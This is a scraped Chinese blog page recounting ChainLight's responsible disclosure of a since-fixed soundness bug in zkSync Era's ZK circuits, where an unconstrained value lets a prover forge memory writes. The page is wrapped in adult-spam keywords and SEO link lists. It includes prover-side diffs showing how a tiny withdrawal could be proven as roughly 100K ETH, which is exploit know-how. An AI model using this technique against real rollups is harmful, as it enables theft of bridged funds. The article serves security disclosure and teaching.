中文亚洲精品无码_熟女乱子伦免费_人人超碰人人爱国产_亚洲熟妇女综合网

當(dāng)前位置: 首頁 > news >正文

蘇州網(wǎng)站設(shè)計價格seo整站怎么優(yōu)化

蘇州網(wǎng)站設(shè)計價格,seo整站怎么優(yōu)化,editplus網(wǎng)站開發(fā),做直播網(wǎng)站找哪個網(wǎng)站1. 引言 ChainLight研究人員于2023年9月15日,發(fā)現(xiàn)了zkSync Era主網(wǎng)的ZK電路的一個soundness bug,并于2023年9月17日,向Matter Labs團(tuán)隊報告了該問題。Matter Labs團(tuán)隊修復(fù)了該問題,并獎勵了ChainLight團(tuán)隊5萬USDC——為首個zkSync…

1. 引言

在這里插入圖片描述
ChainLight研究人員于2023年9月15日,發(fā)現(xiàn)了zkSync Era主網(wǎng)的ZK電路的一個soundness bug,并于2023年9月17日,向Matter Labs團(tuán)隊報告了該問題。Matter Labs團(tuán)隊修復(fù)了該問題,并獎勵了ChainLight團(tuán)隊5萬USDC——為首個zkSync Era的bug bounty。

ChainLight以審計聞名,但其也開發(fā)ZK賦能的trustless historical Ethereum state access協(xié)議——Relic Protocol。其ZK電路也是基于Matter Labs的電路庫的,之前遇到過使用LinearCombination而未約束的類似問題,因此在review zkSync Era電路時,首先關(guān)注的是這種類型的bug。

相應(yīng)的POC原型代碼見:

  • https://github.com/chainlight-io/zksync-era-write-query-poc/tree/main(Solidity)

zkSync Era主網(wǎng)的ZK電路的這個soundness bug:

  • 使得某惡意prover可為無效執(zhí)行的區(qū)塊生成“proofs”,且L1上的verifier合約將接受該proof。

當(dāng)前rollup仍處于早期不成熟階段,除依賴于fraud proof或validity proof之外,還會額外引入一些training wheels(通常為多簽),確保當(dāng)有異常情況或bug出現(xiàn)時,可人為介入保證用戶資金安全。

更多audit信息可參看:

  • zkSync Era audit details

2. EraVM

zkSync Era為Matter Labs團(tuán)隊開發(fā)的type-4 zkEVM,以下簡稱為EraVM。
在這里插入圖片描述
EraVM:

  • EraVM為基于寄存器的,而EVM是基于stack的。某些情況下,EraVM仍然使用stack當(dāng)做臨時存儲,如當(dāng)其run out of registers時,但大多數(shù)opcodes將以寄存器作為運(yùn)算對象。
  • EraVM有2個heap:heap和aux heap,可用作臨時內(nèi)存,并在合約間傳輸數(shù)據(jù)。為模擬EVM的calldatareturndata語義,EraVM會明確跟蹤每個256-bit value是否為指向另一heap的指針,將指針稱為“fat pointer”,并對fat pointers如何在合約間傳輸做了強(qiáng)化規(guī)則。
  • 合約內(nèi)調(diào)用沒有value。因此其無法直接轉(zhuǎn)賬ETH.

為盡可能與EVM語義匹配,EraVM使用了一組運(yùn)行在“kernel mode”下的“system contracts”,并有權(quán)指向特權(quán)指令。如,由于calls無法原生轉(zhuǎn)賬ETH,ETH balance跟蹤和轉(zhuǎn)賬由名為L2EthToken的系統(tǒng)合約處理。為在做call時同時轉(zhuǎn)賬ETH,需調(diào)用MsgValueSimulator系統(tǒng)合約——其具有內(nèi)核特權(quán)來執(zhí)行ETH轉(zhuǎn)賬,然后執(zhí)行a “mimic” call,給調(diào)用者的體驗與直接call是一樣的。

zkSync Era軟件棧中使用了多個EraVM實現(xiàn):

  • zk_evm repo:為供sequencer和其它節(jié)點(diǎn)使用的out-of-circuit實現(xiàn)。prover也會使用該實現(xiàn)了創(chuàng)建詳細(xì)的execution trace——用作電路的“witness” data。
  • sync_vm repo:為ZK-circuit實現(xiàn),用于生成實際待證明和在以太坊上待驗證的約束。

2.1 EraVM zk-Circuits

EraVM電路非常復(fù)雜,為整個網(wǎng)絡(luò)背后的核心技術(shù)。由于其復(fù)雜性,本文僅介紹與所發(fā)現(xiàn)的soundness bug相關(guān)的少量電路,更多EraVM電路知識可參看文檔:

  • https://github.com/code-423n4/2023-10-zksync/blob/72f5f16ed4ba94c7689fe38fcb0b7d27d2a3f135/docs/Circuits%20Section/Circuits.md

由于任意zk-Circuit生成固定數(shù)量的約束,任意計算量的證明 需要 使用遞歸電路,以驗證其它電路的proofs。此外,會根據(jù)責(zé)任拆分成多個電路,以約束計算的不同部分。最終,所有proofs聚合為單個proof,在以太坊上verifier合約中驗證。

整個zkSync EraVM電路架構(gòu)圖如下:【源自https://github.com/code-423n4/2023-10-zksync/blob/72f5f16ed4ba94c7689fe38fcb0b7d27d2a3f135/docs/Circuits%20Section/Circuits.md】
在這里插入圖片描述
本文重點(diǎn)關(guān)注其中的2種電路:

  • 1)Main VM:約束所執(zhí)行的一系列指令、基礎(chǔ)指令(如arithmetics指令)的輸入輸出,并生成部分約束的結(jié)果隊列——供其它電路后續(xù)進(jìn)一步約束。
  • 2)RAM Permutation:驗證Main VM電路生成的"memory queue(一組內(nèi)存操作)"是self-consistent的。

2.2 Memory queue

基于Main VM電路和RAM Permutation電路,所發(fā)現(xiàn)的soundness bug與內(nèi)存操作相關(guān)。

首先了解下內(nèi)存的讀寫是如何被約束的。

由于內(nèi)存可被其它電路做寫入操作,如de-commitment和Keccak哈希,Main VM電路無法自己來約束內(nèi)存的讀操作。相反,任何時間,其都可以從內(nèi)存讀寫數(shù)據(jù),并將相應(yīng)的操作附加到memory queue中。

該memory queue會對一系列MemoryQuery對象進(jìn)行commit,以確定如下4件事情:

  • 1)(相對于其它指令),該訪問發(fā)生于何時?
  • 2)訪問了哪個內(nèi)存位置?
  • 3)該訪問是讀還是寫?
  • 4)讀寫的內(nèi)容?
pub struct MemoryQuery<E: Engine> {pub timestamp: UInt32<E>,pub memory_page: UInt32<E>,pub memory_index: UInt32<E>,pub rw_flag: Boolean,pub value: UInt256<E>,pub value_is_ptr: Boolean,
}

使用Memory Queue,通過約束 source register value置于某(具有目標(biāo)內(nèi)存位置的)“write” MemoryQuery中 并附加到該Memory queue中,Main VM電路可處理“store”(內(nèi)存寫)指令。

Main VM電路處理內(nèi)存讀指令將更加復(fù)雜,因為Main VM電路自己并不知道特定地址所存在的值(因其它電路也可修改內(nèi)存)。因此,為處理內(nèi)存讀指令,Main VM電路需加載a witness value到該寄存器中,并附加到Memory Queue中一個(具有該claimed value的)“read” MemoryQuery對象。

當(dāng)所有內(nèi)存操作由各種電路commit之后,RAM Permutation電路會檢查這些內(nèi)存操作的一致性。RAM Permutation電路以2個memory queues為輸入:

  • 1)源自Main VM電路(和其它內(nèi)存訪問電路)的committed queue。
  • 2)根據(jù)(memory_page, memory_index, timestamp) 排序后的、約束為包含相同MemoryQuery對象集合的witness “sorted” queue。

通過對這些內(nèi)存訪問做如上排序,RAM Permutation電路可僅遍歷該memory queue一次,并比較相鄰元素,來檢查內(nèi)存一致性。相應(yīng)的偽代碼為:

if (prev.memory_page, prev.memory_index) == (cur.memory_page, cur.memory_index) {// if cur accesses the same location as the previous, it must either be a write// OR have the same value as the previous accessassert!(cur.rw_flag || cur.value == prev.value);
} else {// if cur accesses a new location, it must either be a write OR read the zero valueassert!(cur.rw_flag || cur.value == 0);
}

當(dāng)然,生成這些約束的實際代碼是nontrivial的。如,可使用permutation argument來檢查committed和sorted queues包含的是相同的元素。

3. bug細(xì)節(jié)

至此,已對本bug細(xì)節(jié)提供了足夠背景。與很多其它bug類似,魔鬼在實際代碼實現(xiàn)細(xì)節(jié)中。

第一個重要實現(xiàn)細(xì)節(jié)在于:

  • 上面的MemoryQuery結(jié)構(gòu)體實際上是簡化版的實際queue包含的內(nèi)容,實際實現(xiàn)為RawMemoryQuery形式:
    pub struct RawMemoryQuery<E: Engine> {pub timestamp: UInt32<E>,pub memory_page: UInt32<E>,pub memory_index: UInt32<E>,pub rw_flag: Boolean,pub value_residual: UInt64<E>,pub value: Num<E>, //`MemoryQuery`結(jié)構(gòu)體中該字段為UInt256<E>pub value_is_ptr: Boolean,
    }
    
    主要不同之處在于:
    • 之前的MemoryQuery結(jié)構(gòu)體中value字段為UInt256<E>類型,而RawMemoryQuery中將其切分為2個字段——UInt64<E>類型和Num<E>類型。這種切分轉(zhuǎn)換的原因在于,電路中所使用的曲線為BN254,其單個域元素僅可 可靠地存儲253個bits。
      事實上,UInt256<E>類型內(nèi)部存儲為4個UInt64<E>類型的值——每個在其自己的Num<E>類型中。
      RawMemoryQuery結(jié)構(gòu)體中,value字段存儲的是該值的低192 bits,而value_residual字段存儲的為高64字段。出于效率原因,RawMemoryQuery結(jié)構(gòu)體在附加到memory queue之前,最終會編碼為2個UInt64<E>類型的值:
    impl<E: Engine> RawMemoryQuery<E> {pub fn pack<CS: ConstraintSystem<E>>(&self,cs: &mut CS,) -> Result<[Num<E>; 2], SynthesisError> {let shifts = compute_shifts::<E::Fr>();let el0 = self.value;let mut shift = 0;let mut lc = LinearCombination::zero();lc.add_assign_number_with_coeff(&self.value_residual.inner, shifts[shift]);shift += 64;// NOTE: we pack is as it would be compatible with PackedMemoryQuery later onlc.add_assign_number_with_coeff(&self.memory_index.inner, shifts[shift]);shift += 32;lc.add_assign_number_with_coeff(&self.memory_page.inner, shifts[shift]);shift += 32;// ------------lc.add_assign_number_with_coeff(&self.timestamp.inner, shifts[shift]);shift += 32;lc.add_assign_boolean_with_coeff(&self.rw_flag, shifts[shift]);shift += 1;lc.add_assign_boolean_with_coeff(&self.value_is_ptr, shifts[shift]);shift += 1;assert!(shift <= E::Fr::CAPACITY as usize);let el1 = lc.into_num(cs)?;// dbg!(el0.get_value());// dbg!(el1.get_value());Ok([el0, el1])   	}
    }
    

以上代碼中:

  • cs:表示約束系統(tǒng),其貫穿在整個電路代碼中,用于累加約束。通常,僅當(dāng)函數(shù)以cs為參數(shù)時,其才可以生成約束。
  • pack:返回[el0, el1]。其中el0源自self.valueel1為將剩余的元素pack到單個Num<E>中。
  • compute_shifts::<E::Fr>():對于 0 <= i <= 253,計算 (1 << i) 作為常量域元素。該函數(shù)不會生成任何電路約束。
  • el1:通過使用LinearCombination來構(gòu)建,其格式為 a_0 v_0 + a_1 v_1 + … + a_n v_n,其中a_i 為常量域元素,v_i為電路變量。這些shifts用于將RawMemoryQuery字段pack到不重疊的253-bit value區(qū)域中。該linear combination的結(jié)構(gòu)存儲在lc.into_num(cs)變量中。

以上代碼將RawMemoryQuery pack為2個域元素,看起來是sound的,接下來看RawMemoryQuery是如何構(gòu)建的。當(dāng)處理內(nèi)存寫指令時,其構(gòu)建MemoryWriteQuery 然后將其轉(zhuǎn)換為 RawMemoryQuery

let MemoryLocation { page, index } = mem_loc;let memory_key = MemoryKey {timestamp: mem_timestamp_write,memory_page: page,memory_index: index,
};let write_query = MemoryWriteQuery::from_key_and_value_witness(cs, memory_key, value)?;...let raw_query = write_query.into_raw_query(cs)?;...

MemoryWriteQuery的工作原理呢?在以上代碼中,value為Register<E>類型,其將256-bit value存儲為2個UInt128<E>

pub struct Register<E: Engine> {pub inner: [UInt128<E>; 2],pub is_ptr: Boolean,
}

當(dāng)構(gòu)建MemoryWriteQuery時,該寄存器值使用另一個LinearCombination進(jìn)一步切分為3個值 (lowest_128, u64_word_2, u64_word_3)

pub(crate) fn from_key_and_value_witness<CS: ConstraintSystem<E>>(cs: &mut CS,key: MemoryKey<E>,register_output: Register<E>,
) -> Result<Self, SynthesisError> {let [lowest_128, highest_128] = register_output.inner;let tmp = highest_128.get_value().map(|el| (el as u64, (el >> 64) as u64));let (u64_word_2, u64_word_3) = match tmp {Some((a, b)) => (Some(a), Some(b)),_ => (None, None),};let u64_word_2 = UInt64::allocate_unchecked(cs, u64_word_2)?;let u64_word_3 = UInt64::allocate(cs, u64_word_3)?;let shifts = compute_shifts::<E::Fr>();let mut minus_one = E::Fr::one();minus_one.negate();let mut lc = LinearCombination::zero();lc.add_assign_number_with_coeff(&u64_word_2.inner, shifts[0]);lc.add_assign_number_with_coeff(&u64_word_3.inner, shifts[64]);lc.add_assign_number_with_coeff(&highest_128.inner, minus_one);let MemoryKey {timestamp,memory_page,memory_index,} = key;let new = Self {timestamp,memory_page,memory_index,lowest_128,u64_word_2,u64_word_3,value_is_ptr: register_output.is_ptr,};Ok(new)
}

MemoryWriteQuery::into_raw_query會將u64_word_3存儲在value_residual中,同時將lowest_128u64_word_2 pack到value字段中:

pub(crate) fn into_raw_query<CS: ConstraintSystem<E>>(&self,cs: &mut CS,
) -> Result<RawMemoryQuery<E>, SynthesisError> {let shifts = compute_shifts::<E::Fr>();let mut lc = LinearCombination::zero();lc.add_assign_number_with_coeff(&self.lowest_128.inner, shifts[0]);lc.add_assign_number_with_coeff(&self.u64_word_2.inner, shifts[128]);let value = lc.into_num(cs)?;let new = RawMemoryQuery {timestamp: self.timestamp,memory_page: self.memory_page,memory_index: self.memory_index,rw_flag: Boolean::constant(true)value_residual: self.u64_word_3,value,value_is_ptr: self.value_is_ptr,};Ok(new)
}

因此,bug在哪呢?
非常細(xì)微,但注意約束僅可由 以cs為參數(shù)的函數(shù)生成。再看from_key_and_value_witness代碼:

let mut lc = LinearCombination::zero();lc.add_assign_number_with_coeff(&u64_word_2.inner, shifts[0]);
lc.add_assign_number_with_coeff(&u64_word_3.inner, shifts[64]);
lc.add_assign_number_with_coeff(&highest_128.inner, minus_one);

不同于其它使用LinearCombination的代碼,該代碼實際永遠(yuǎn)不會通過lc生成任何約束?;谶@些系數(shù),其意圖是約束該lc值為0,但為生成這樣的約束,必須:

  • 要么調(diào)用lc.enforce_zero(cs)
  • 要么調(diào)用lc.into_num(cs),然后進(jìn)一步約束其結(jié)果值。

因此,生成的MemoryWriteQuery結(jié)果中的高128位是未約束的。這意味著惡意prover可在這些bits中放置任意值,且verifier將接受該proof是有效的。在正確約束的電路中,這些bits應(yīng)約束為準(zhǔn)確等于源自Register<E>的bits。

4. bug利用細(xì)節(jié)

該bug使得prover可任意修改(通過store指令)存儲在內(nèi)存中的任意值的高128位,而不改變該proof的有效性。雖然這可能會以無數(shù)方式被濫用,但一個特別容易的目標(biāo)是L2EthToken系統(tǒng)合約。
以下代碼為從zkSync Era中取回solidity:

/// @notice Initiate the ETH withdrawal, funds will be available to claim on L1 `finalizeEthWithdrawal` method.
/// @param _l1Receiver The address on L1 to receive the funds.
function withdraw(address _l1Receiver) external payable override {uint256 amount = _burnMsgValue();// Send the L2 log, a user could use it as proof of the withdrawalbytes memory message = _getL1WithdrawMessage(_l1Receiver, amount);L1_MESSENGER_CONTRACT.sendToL1(message);emit Withdrawal(msg.sender, _l1Receiver, amount);
}/// @dev Get the message to be sent to L1 to initiate a withdrawal.
function _getL1WithdrawMessage(address _to, uint256 _amount) internal pure returns (bytes memory) {return abi.encodePacked(IMailbox.finalizeEthWithdrawal.selector, _to, _amount);
}

該方法在發(fā)送L2->L1證明該取款操作之前,會burn msg.value數(shù)量的ETH。此處的目的是在L2中burn少量的ETH,而創(chuàng)建的取款消息中具有大得多的_amount字段。注意,_getL1WithdrawMessage helper函數(shù)將取款消息編碼為內(nèi)存字節(jié)數(shù)組。該函數(shù)編譯為如下EraVM匯編代碼:

...add @CPI0_20[0], r0, r2 // load the function selector into `r2`
ld.1    64, r1          // load the current free memory pointer into `r1`
add 32, r1, r3
st.1    r3, r2          // store function selector into memory at `r1+32`
shl.s   96, r4, r2
add 36, r1, r3
st.1    r3, r2          // store `_to` parameter into memory at `r1+36`
add 56, r1, r2
st.1    r2, r5          // store `_amount` parameter into memory at `r1+56`
add 56, r0, r2
st.1    r1, r2          // store `56` into memory at `r1` (length field)...

每個st.1指令存儲了一個寄存器值到heap中指定的偏移位置。而這些指令支持存儲到地址的非對齊方式,其不要求是32的倍數(shù),EraVM將未對齊的stores轉(zhuǎn)換為2個對齊的MemoryWriteQuery。因此,但存儲_amount參數(shù)時,會創(chuàng)建2個aligned write queries:

{memory_page: CUR_HEAP_PAGE,memory_index: (r1 + 56) // 32,value: (uint256(_to) << 64) | (_amount >> 192)
},
{memory_page: CUR_HEAP_PAGE,memory_index: (r1 + 56) // 32 + 1,value: (_amount << 64)
}

此處的目的是改變以上第二個write query的值,以增加取款消息中所認(rèn)證的ether數(shù)量。為此,在每個EraVM實現(xiàn)中修改負(fù)責(zé)處理write queries的代碼。相應(yīng)的修改邏輯為:

  • 1)檢查待寫入的_amount值是否匹配某些magic值,如0x1371337137~.00002 ETH。
  • 2)若匹配,則修改(misaligned write)高128bit值,使得_amount為某huge value,如0x152d0000133713371337~100K ETH。

相應(yīng)的zk_evm repo修改為:

diff --git a/src/opcodes/execution/uma.rs b/src/opcodes/execution/uma.rs
index 276c02b..7d2f0d5 100644- -- a/src/opcodes/execution/uma.rs
+++ b/src/opcodes/execution/uma.rs
@@ -371,6 +371,14 @@ impl<const N: usize, E: VmEncodingMode<N>> DecodedOpcode<N, E> {(word_0_read_value >> (word_0_lowest_bytes * 8)) << (word_0_lowest_bytes * 8);// add highest bytes into lowest for overwritingnew_word_0_value = new_word_0_value | (src1 >> (unalignment * 8));
+
+                // see if we're writing 0x1337133713370000000000000000
+                if new_word_0_value.0[1] == 0x133713371337 {
+                    // if so, instead write 0x152d00001337133713370000000000000000
+                    new_word_0_value.0[2] = 0x152d;
+                }
+// we need low bytes of old word and place low bytes of src1 into highest// cleanup highest byteslet mut new_word_1_value =

相應(yīng)的sync_vm repo修改為:

diff --git a/src/vm/vm_cycle/memory_view/write_query.rs b/src/vm/vm_cycle/memory_view/write_query.rs
index cbb4172..0b09ecd 100644- -- a/src/vm/vm_cycle/memory_view/write_query.rs
+++ b/src/vm/vm_cycle/memory_view/write_query.rs
@@ -60,6 +60,11 @@ impl<E: Engine> MemoryWriteQuery<E> {_ => (None, None),
};
+        let u64_word_2 = if let Some(0x1337133713370000000000000000_u128) = lowest_128.get_value() {
+            Some(0x152d)
+        } else {
+            u64_word_2
+        };
// we do not need to range check everything, only N-1 ut of N elements in LC
let u64_word_2 = UInt64::allocate_unchecked(cs, u64_word_2)?;

需注意,僅需修改分配給變量的witness值,而并不修改電路所生成的約束。

通過在后端完成以上修改之后,sequencer/prover現(xiàn)在可處理具有magic value 0x133713371337 wei (~.00002 ETH) 的區(qū)塊,并輸出proven batch——其可證實接收方取款額為0x152d0000133713371337 wei (~100K ETH)。zkSync Era合約將接受該proof,然后攻擊者可取光其bridge中的100K個ETH。

5. bug影響分析

考慮到當(dāng)前的安全層,該bug很難由Matter Labs之外的人利用。對于外部人員來說,可能的攻擊場景為:

  • 1)通過注入惡意代碼或盜取zkSync Era validator私鑰,使zkSync Era后端compromise。
  • 2)執(zhí)行如上“bug利用細(xì)節(jié)”流程。
  • 3)等待21小時的execution delay,并期望在取走盜用資金之前,Matter Labs團(tuán)隊未凍結(jié)該協(xié)議。

由此可知,以上21小時的execution delay,使得實際利用該bug非常難。但是,隨著未來去中心化的推進(jìn),這樣的攻擊成功概率將增加,因為到時沒有admin團(tuán)隊來直接管理該協(xié)議。

因此,讓ZK-circuits安全來賦能L2,是以太坊長期擴(kuò)容里程碑的關(guān)鍵部分。

參考資料

[1] 2023年11月ChainLight博客 Patch Thursday — Uncovering a ZK-EVM Soundness Bug in zkSync Era

zkSync系列博客

  • zkSync 概覽
  • zkSync 基本原理
  • zkSync 代碼解析
  • zkSync的ZK Stack:Hyperchains和Hyperbridges
  • Boojum:zkSync的高性能去中心化STARK證明系統(tǒng)
http://www.risenshineclean.com/news/61933.html

相關(guān)文章:

  • 設(shè)計圖片logo免費(fèi)安康地seo
  • 做招聘網(wǎng)站需要營業(yè)執(zhí)照嗎網(wǎng)站改版seo建議
  • 昌吉建設(shè)局網(wǎng)站廣州seo推廣營銷
  • 成品網(wǎng)站源碼多少錢云建站
  • 網(wǎng)站設(shè)計日志seo搜索引擎優(yōu)化策略
  • 邢臺網(wǎng)站建設(shè)服務(wù)商網(wǎng)絡(luò)軟文怎么寫
  • 網(wǎng)站建設(shè)售后培訓(xùn)東莞疫情最新消息今天新增
  • 垂直類網(wǎng)站怎么做推廣發(fā)布外鏈的平臺有哪些
  • 專業(yè)做簡歷的網(wǎng)站百度站長平臺app
  • 網(wǎng)站建設(shè) 數(shù)據(jù)上傳 查詢中國十大網(wǎng)站
  • 單頁面網(wǎng)站做排名網(wǎng)絡(luò)推廣外包搜索手機(jī)蛙軟件
  • 當(dāng)日網(wǎng)站收錄查詢統(tǒng)計網(wǎng)店推廣軟文范例
  • 收到一張網(wǎng)站服務(wù)費(fèi)怎么做憑證在線的crm系統(tǒng)軟件
  • 個人博客網(wǎng)站下載百度網(wǎng)站制作聯(lián)系方式
  • 有什么做公眾號封面圖的網(wǎng)站沒廣告的視頻播放器app
  • 微信公眾官網(wǎng)登錄入口整站seo排名外包
  • 新手學(xué)做網(wǎng)站書國際足聯(lián)世界排名
  • 怎么做國際購物網(wǎng)站搜索引擎調(diào)詞工具哪個好
  • 珠寶網(wǎng)站開發(fā)免費(fèi)的網(wǎng)站域名查詢app
  • 現(xiàn)在網(wǎng)站建設(shè)用什么軟件如何接廣告賺錢
  • 易語言用電腦做網(wǎng)站服務(wù)器百度關(guān)鍵詞自然排名優(yōu)化公司
  • 平頂山車禍最新新聞事件百度seo什么意思
  • linux下用python做網(wǎng)站百度推廣代理怎么加盟
  • 用網(wǎng)站做自我介紹自己四川seo排名
  • 做流媒體視頻播放網(wǎng)站求助市場營銷考試題目及答案2022
  • 廈門網(wǎng)站設(shè)計公司seo sem論壇
  • html怎么添加背景圖片四川整站優(yōu)化關(guān)鍵詞排名
  • 網(wǎng)站開發(fā)在哪里接活網(wǎng)站查詢工具
  • 做論壇網(wǎng)站需要什么備案廈門seo代運(yùn)營
  • 做一個營銷型網(wǎng)站手機(jī)網(wǎng)站建設(shè)公司